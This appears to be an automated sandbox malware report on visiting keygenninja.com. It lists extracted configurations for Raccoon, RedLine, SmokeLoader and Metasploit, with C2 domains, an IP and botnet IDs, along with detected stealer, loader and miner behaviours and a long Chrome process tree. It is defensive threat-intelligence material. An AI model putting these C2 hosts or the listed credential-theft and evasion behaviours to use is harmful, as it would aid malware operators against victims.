Analysis
-
max time kernel
534s -
max time network
604s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
29-03-2021 12:49
General
-
Target
https://keygenninja.com/
Score
10/10
Malware Config
Extracted
Family
raccoon
Botnet
4ce8ad65ffaa0dffa8cc56e03b4fd65c31c1a91d
Attributes
-
url4cnc
https://telete.in/j90dadarobin
rc4.plain
rc4.plain
Extracted
Family
redline
Botnet
mix
C2
giledah.xyz:80
Extracted
Family
redline
Botnet
newserver2
C2
91.214.124.106:80
Extracted
Family
metasploit
Version
windows/single_exec
Extracted
Family
smokeloader
Version
2020
C2
http://xsss99.icu/upload/
http://bingooodsg.icu/upload/
http://junntd.xyz/upload/
http://ginessa11.xyz/upload/
http://overplayninsx.xyz/upload/
http://bananinze.com/upload/
http://daunimlas.com/upload/
rc4.i32
rc4.i32
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Glupteba Payload 3 IoCs
-
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
Raccoon
Simple but powerful infostealer which was very active in 2019.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 3 IoCs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateProcessExOtherParentProcess 4 IoCs
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
XMRig Miner Payload 3 IoCs
-
Blocklisted process makes network request 13 IoCs
-
Downloads MZ/PE file
-
Drops file in Drivers directory 5 IoCs
-
Executes dropped EXE 64 IoCs
-
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 11 IoCs
Looks up country code configured in the registry, likely geofence.
-
Loads dropped DLL 64 IoCs
-
Modifies file permissions 1 TTPs 1 IoCs
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 14 IoCs
-
Checks for any installed AV software in registry 1 TTPs 64 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 5 IoCs
-
Drops Chrome extension 1 IoCs
-
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 12 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Maps connected drives based on registry 3 TTPs 6 IoCs
Disk information is often read in order to detect sandboxing environments.
-
Drops file in System32 directory 26 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 12 IoCs
-
Suspicious use of SetThreadContext 5 IoCs
-
Drops file in Program Files directory 64 IoCs
-
Drops file in Windows directory 43 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 20 IoCs
-
Checks SCSI registry key(s) 3 TTPs 64 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 4 IoCs
-
Enumerates system info in registry 2 TTPs 12 IoCs
-
GoLang User-Agent 2 IoCs
Uses default user-agent string defined by GoLang HTTP packages.
-
Kills process with taskkill 2 IoCs
-
Modifies Internet Explorer settings 1 TTPs 3 IoCs
-
Modifies data under HKEY_USERS 64 IoCs
-
Modifies registry class 64 IoCs
-
Modifies system certificate store 2 TTPs 17 IoCs
-
Runs ping.exe 1 TTPs 4 IoCs
-
Script User-Agent 4 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: MapViewOfSection 9 IoCs
-
Suspicious behavior: SetClipboardViewer 3 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 64 IoCs
-
Suspicious use of SetWindowsHookEx 14 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Views/modifies file attributes 1 TTPs 3 IoCs
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://keygenninja.com/1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xc8,0xcc,0xd0,0xa4,0xd4,0x7ffe7d2b6e00,0x7ffe7d2b6e10,0x7ffe7d2b6e202⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1556 /prefetch:22⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1744 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2244 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2848 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2860 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3440 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3532 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3548 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3620 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1496 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4700 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5648 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5684 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5848 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings2⤵
-
C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff6c6407740,0x7ff6c6407750,0x7ff6c64077603⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5956 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5592 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5492 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5468 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5388 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5268 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5288 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5064 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5600 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4904 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3740 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4084 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6028 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5756 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5236 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5288 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6232 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6364 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5736 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6512 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6636 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6792 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6640 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6784 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7184 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7172 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7472 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7628 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7648 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7788 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7796 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8172 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8160 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8432 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8552 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8304 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8872 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=9012 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5988 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1672 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8676 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8648 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4384 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=59 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8636 /prefetch:12⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5712 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1480 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=908 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=9020 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4028 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2156 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4028 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1528,12052002820617248949,17004416221358428753,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=9020 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
